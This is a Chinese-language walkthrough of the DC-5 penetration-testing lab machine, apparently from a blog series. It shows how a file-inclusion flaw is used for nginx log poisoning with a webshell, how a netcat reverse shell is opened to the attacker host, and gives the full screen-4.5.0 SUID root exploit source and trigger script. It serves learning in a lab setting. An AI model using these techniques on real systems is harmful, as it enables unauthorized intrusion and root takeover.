靶机所需环境
- 目标靶机:DC-5(192.168.160.151)
- 攻击机:Kali Linux(192.168.160.142)
- 本机:Windows 10
本次实验目的:由于不知道DC-5目标靶机的登录用户名密码信息,所以需要通过对该靶机进行一系列渗透操作,最终拿到该靶机的最高权限,也就是root权限;
信息收集
- 开启DC-5和Kali Linux,使用
arp-scan -l
命令查看该网段下的存活主机,发现有四个存活主机;
- 假设我们并不知道靶机IP为
192.168.160.151
,其实也很简单只需要关闭DC-5靶机即可,再使用一次该命令,少了那个就是目标靶机,这里就不再演示啦,也是提供一种思路😁; - 成功得到目标IP后,对其进行端口开放及其服务信息收集,使用
nmap -sV 目标IP
命令,-sV
是显示端口服务开放详细信息;
知识小拓展
nmap -sP 192.168.160.0/24
:查看该网段下的存活主机,和前面的arp-scan -l
用法类似;
namp -sS 192.168.160.151
:查看IP端口开放信息;
nmap -sV 192.168.160.151
:查看IP端口开放及其服务详细信息;
漏洞利用
- 通过信息收集发现该IP下开放了一个80端口,且使用的web服务器是
nginx
,尝试访问80端口;
- 随便点击该网页功能发现文件后缀皆是php,并发现在Contact处能提交内容,提交内容后刷新发现@后面的年份会有所变化;
- 通过上面的测试可以得出两点猜想,一是网站大概率是php写的,二是内容处可能存在文件包含漏洞,这样思路就比较明确了,可使用御剑对该网站进行文件扫描;
- 猜测应该是
footer.php
控制着这个年份页脚,再回到提交内容页面,将提交后的东西全部删除,通过经验猜测参数大概率是file
;
- 在
file
后面输入footer.php
文件,成功访问到了年份;
- 测试读取一下本地敏感信息,发现成功读取,这里确实存在文件包含漏洞,实锤了;
- 由于该网站的服务器是
nginx
,查阅资料发现该服务器下会存在一个错误日志,尝试访问下/var/log/nginx/error.log
;
- 这里有一个思路,既然错误日志会将所有的错误信息都存入日志,那如果输入一个不存在的文件,那自然也会当做错误信息存入错误日志里面,于是这里想到了可以一句话木马呀;
上传一句话shell
- 将参数内容输入为一句话木马,但要进行抓包输入,原因是如果直接在地址栏输入会被浏览器编码,这样的话一句话木马就不能发挥作用了;
- 访问错误日志,查看木马是否上传成功;
蚁剑连接
- 复制木马url,粘贴url,密码为a,点击测试;
- 点击添加,右击进入虚拟终端;
- 发现该用户为普通用户,权限有点低,但我们需要获取到root权限,接下来进行提取操作
权限提升
- 使用
nc
工具,也叫做瑞士军刀,攻击机(Kali Linux)开启监听nc -lvp 1234
;
- 蚁剑里的目标靶机使用
nc -e /bin/bash 192.168.160.142(kali的IP) 1234(监听端口)
命令反弹连接;
- kali机执行脚本
python -c 'import pty;pty.spawn("/bin/bash")'
命令进行交互;
- 执行
find / -perm -u=s -type f 2>/dev/null
命令,查找设置了Suid权限的文件;
- 发现里面有个
screen-4.5.0
可以进行提权,kali新开一个窗口2,搜索关于screen-4.5.0
的exp;
- 执行
searchsploit -m 41154
命令将41154.sh
拷贝到当前目录下,我这里是root目录;
文件生成
- 执行
ls
命令查看目录文件,接着执行cat 41154.sh
查看文件内容,需要将该文件分为三个部分的文件;
文件一
- 第一个文件
libhax.c
内容如下;
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
执行gcc -fPIC -shared -ldl -o libhax.so libhax.c
命令,成功会生成libhax.so
文件,ls
查看;
文件二
- 第二个文件
rootshell.c
内容如下;
#include <stdio.h>
#include <unistd.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL);
}
执行gcc -o rootshell rootshell.c
命令,成功会生成rootshell
文件,ls
查看;
文件三
- 第三个文件
dc5.sh
内容如下;
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
ls
查看三个文件是否都存在;
获取root权限
- 将三个文件复制到物理机(Windows 10),在蚁剑
tmp
目录下上传这三个文件;
- 成功将文件上传;
- 目标机(kali)交互页面,进入
tmp
目录执行ls
目录查看文件并赋予dc5.sh
文件执行权限,执行./dc5.sh
命令,发现成功获取root权限;
上一篇 > DC-4靶机渗透测试
下一篇 > DC-6靶机渗透测试
以上内容就是DC-5靶机渗透测试的全过程,说下我的真实感受叭,前面的操作都还是挺顺利的,就在最关键的一步提取卡了我很长时间,几次真的想要放弃了,但在不断试错,排除问题和查阅资料中,终于找到了问题所在,原因其实也挺简单的,由于glibc版本的不同,导致最终编译c文件所生成的文件也不同,所以会导致提权失败,解决办法可以用glibc版本较低的主机执行该命令或者下载对应的glibc版本即可,不过自己亲手将问题解决的感觉还不赖哟,同时也说明还要学习的地方还有很多,继续加油,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!
以上内容仅供学习参考使用,切勿用于非法用途,切勿用于非法用途,切勿用于非法用途!!!重要的事情说三遍